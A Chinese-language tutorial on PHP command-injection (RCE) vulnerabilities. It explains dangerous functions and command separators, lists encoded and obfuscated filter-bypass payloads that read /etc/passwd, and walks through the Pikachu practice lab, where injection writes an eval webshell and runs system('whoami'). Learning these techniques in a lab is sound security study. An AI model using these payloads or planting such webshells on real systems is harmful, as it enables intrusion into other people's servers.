RCE
原理
應用有時需要呼叫一些執行系統命令的函式,如 PHP 中的 system、exec、shell_exec、passthru、popen、proc_popen 等,當使用者能控制這些函式的引數,並且開發人員對這個引數沒有嚴格的過濾時就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。
利用系統函式實現命令執行的函式
eval()、assert()、preg_replace()、call_user_func()、ob_start()、unserialize()、creat_function() 、usort()、uasort()、uksort()、 array_filter()、 array_reduce()、 array_map()
直接執行系統命令的程式碼函式
system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open(),反引號
命令連線符:
Windows和Linux都支援的命令連線符:
cmd1 | cmd2 只執行cmd2
cmd1 || cmd2 只有當cmd1執行失敗後,cmd2才被執行
cmd1 & cmd2 先執行cmd1,不管是否成功,都會執行cmd2
cmd1 && cmd2 先執行cmd1,cmd1執行成功後才執行cmd2,否則不執行cmd2
Linux還支援分號(;),cmd1;cmd2 按順序依次執行,先執行cmd1再執行cmd2
過濾繞過
參考文章:
總結rce(遠端程式碼執行各種sao姿勢)繞過bypass_遠端命令執行繞過-CSDN部落格
滲透測試——命令執行漏洞(RCE)詳解 - 知乎 (zhihu.com)
空格過濾繞過
$IFS$9,${IFS},$IFS,%09,<,<>
檔名過濾繞過:
(1)?和*當作萬用字元繞過
cat /fl??
cat /fl*
(2)單引號(')雙引號("")反引號(``)繞過正則
cat /fl""ag
c""at /e't'c/pas``s``wd
(3)斜槓\繞過
cat fl\ag.p\hp
(4)特殊變數:$1到$9、$@和$*
cat /fl$9ag
cat /fl$@ag
正則繞過
(1)利用base編碼繞過
`echo 'Y2F0wqAK' | base64 -d` // etc/passwd
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash //cat /etc/passwd
(2)利用hex編碼(十六進位制)繞過
echo "636174202F6574632F706173737764" | xxd -r -p|bash// hex編碼後的0x不需要輸入
(3)利用oct編碼(八進位制)繞過
$(printf "\154\163")//ls命令
(4)取反繞過
(~'%8F%97%8F%96%91%99%90')(); //phpinfo();
Pikachu
exec "ping"
開啟題目就是一個ping的框,我們輸入
127.0.0.1
的確去執行ping命令,接下來我們就用命令連線符去試試
127.0.0.1& whoami
回顯如下,去執行了我們的命令
開始寫馬:
127.0.0.1 & echo "<?php eval($_POST['cmd']);?>" > test.php
看看上傳成功沒
127.0.0.1 & dir
發現上傳成功
然後開啟蟻劍連線一下,連線成功,你可以操作了
exec "eval"
開啟題目就是一個輸入框,隨便輸入了一點,發生報錯,看到了eval函式
輸入測試語句試試,執行成功
1 & system("whoami");
剩下的命令就可以自己敲一敲。